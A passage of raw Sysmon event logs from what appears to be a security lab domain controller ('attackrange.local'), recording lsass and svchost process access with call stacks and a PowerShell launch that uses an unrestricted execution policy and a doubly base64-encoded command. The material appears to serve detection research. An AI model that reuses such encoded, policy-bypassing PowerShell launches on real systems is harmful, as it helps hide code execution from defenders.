EEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.474{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.474{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.443{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_xjsmprbb.tij.ps12020-10-09 09:10:32.443 10341000x80000000000000003509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.427{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-2908-5F80-B100-000000007F01}46684684C:\Windows\system32\conhost.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.396{A5F018FF-2908-5F80-B200-000000007F01}41764112C:\Windows\system32\cmd.exe{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:32.406{A5F018FF-2908-5F80-B300-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2908-5F80-2264-060000000000}0x664220HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2908-5F80-B200-000000007F01}4176C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AE